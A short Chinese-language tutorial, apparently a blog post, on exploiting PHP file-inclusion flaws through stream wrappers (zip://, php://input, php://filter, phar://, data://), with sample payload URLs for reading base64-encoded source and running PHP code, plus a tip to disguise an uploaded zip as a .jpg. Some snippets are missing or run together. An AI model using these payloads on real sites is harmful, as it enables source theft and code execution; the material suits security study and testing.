PHP有很多内置 URL风格的封装协议,这类协议与fopen()、 copy()、 file_exists()和filesize()的文
件系统函数所提供的功能类似。
zip:// 伪协议
先将要执行的PHP代码写好文件名为test.txt,将test.txt进行zip压缩,压缩文件名为test.zip,如果可以
上传zip文件便直接上传,若不能便将test.zip重命名为test.jpg后再上传
在网站根目录创建555.txt,内容为
压缩,压缩后在浏览器访问
php://input 伪协议
利用php中流的概念,将原本的include的文件流重定向到了用户可控制的输入流中命令执行
(allow_url_include:on,allow_url_fopen不做要求)
php://filter 伪协议
读取文件(allow_url_include和allow_url_fopen都不做要求)
?page=php://filter/read=convert.base64-encode/resource=555.php //555.php是自己创建,其余不需要更改
通过指定末尾的文件,可以读取经base64编码后的文件源码,之后再base64解码一下就行。虽然不能直接获取到shell等,但能读取敏感文件危害也是挺大的。
创建一个php,然后进行访问
phar:// 伪协议
假如有个文件1.txt,打包成zip压缩包,指定绝对路径(或者使用相对路径)
include.php?page=phar://D:\xp\phpstudy_pro\WWW\00\555.zip\555.txtinclude.php?page=phar://D:\xp\phpstudy_pro\WWW\00\555.zip\555.txt
include.php?page=phar://D:\xp\phpstudy_pro\WWW\00\555.jpg\555.txt
data:// 伪协议
命令执行(php版本大于等于5.2,allow_url_include和allow_url_fopen都为on的状态)
?page=data://text/plain,<?php phpinfo();?>